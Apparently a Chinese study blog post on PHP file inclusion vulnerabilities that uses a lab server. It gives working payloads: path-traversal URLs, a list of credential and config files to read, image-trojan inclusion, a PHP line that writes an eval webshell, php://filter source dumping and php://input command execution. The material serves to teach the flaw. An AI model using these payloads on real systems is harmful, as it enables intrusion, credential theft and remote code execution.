文件包含漏洞

文件包含

~    PHP 中的文件包含
    !    include
        正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。
    !    include_once
        正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。文件只能被包含一次
    !    require
        实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。
    !    require_once
        实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。文件只能被包含一次。
        
~    文件包含漏洞
    
    !    原理
        程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
    
    !    PHP 提供的文件包含功能太强大,太灵活。
    
    
    !    利用条件
        @    参数配置
            #    allow_url_fopen
                allow_url_fopen = On        On|Off
                本地文件包含 (LFI)
            
            #    allow_url_inclue
                allow_url_inclue = On        On|Off
                远程文件包含 (RFI)
                
            #    phpinfo() 中可以查看,也可以查看配置文件 php.ini
                
        @    用户可以控制文件包含的路径
        
        
    !    文件包含示例
        @    本地文件包含
        http://172.18.199.91/test/includesion/test/test.php?path=./a.php
        
        @    远程文件包含
        http://172.18.199.91/test/includesion/test/test.php?path=http://172.18.199.91/test/includesion/test/a.php
        
        可以考虑使用包含其他网站(黑客的服务器)的文件。
        也可以考虑其他协议。
        
    !    PHP 文件包含的特点(也就是强大之处)
        @    无视文件扩展名,读取文件
        
        @    如果被包含的文件中,有符合PHP 语法规范的部分,
            就会尝试执行它。
            
    !    null 字符问题
        http://172.18.199.91:8081/includesion/null.php?path=./b.php%00
        
~    文件包含漏洞的利用
    
    !    读取敏感文件
        @    利用条件
            #    目标主机文件存在
                C:/windows/system32/drivers/etc/hosts
            http://172.18.199.91/test/includesion/test/test.php?path=C:/windows/system32/drivers/etc/hosts
            http://172.18.199.91/test/includesion/test/test.php?path=../../../../../../../../windows/system32/drivers/etc/hosts
            
--------------------------------------------
敏感文件
Windows
C:\boot.ini                                 //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
C:\windows\repair\sam                         //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini                 //MySql配置文件
C:\Program Files\mysql\data\mysql\user.MYD     //MySql root
C:\windows\php.ini                             //PHP配置信息
C:\windows\my.ini                             //MySql配置文件
......
UNIX/Linux
/etc/passwd
/user/local/app/apache2/conf/httpd.conf             //Apache2默认配置文件
/user/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站设置
/user/local/app/php5/lib/php.ini                     //PHP相关设置
/etc/httpd/conf/httpd.conf                             //apache2配置文件
/etc/my.cnf                                         //MySql的配置文件 ...

--------------------------------------------
            #    文件具有可读权限
            
    !    直接包含图片木马
        C:\xampp\htdocs\DEMO\File\FileUpload\upfiles
        http://172.18.199.91/test/includesion/test/test.php?path=../../../DEMO/File/FileUpload/upfiles/1yjh.jpg
        
        POST     cmd=phpinfo();
                
    !    包含图片木马写Shell    
<?php
fputs(fopen("shell.php",'w+'),"<?php @eval(\$_REQUEST['cmd'])?>");
?>
        在当前目录下创建一个文件shell.php,文件内容<?php @eval($_REQUEST['cmd'])?>
        
    !    PHP 封装协议
        @    访问本地系统文件
            file://
            http://172.18.199.91/test/includesion/test/test.php?path=file://C:/windows/system32/drivers/etc/hosts
            
        @    传输PHP 文件
            php://filter
            
            php://filter/read=convert.base64-encode/resource=test.php
            PD9waHANCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCglpbmNsdWRlICRfR0VUWydwYXRoJ107DQp9ZWxzZXsNCgllY2hvICJQbGVhc2UgaW5wdXQgYSBwYXRoISI7DQp9DQoNCj8+
            
        @    执行PHP 命令
            php://input
            
            post 提交数据
                【<?php echo `whoami`;?>】
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值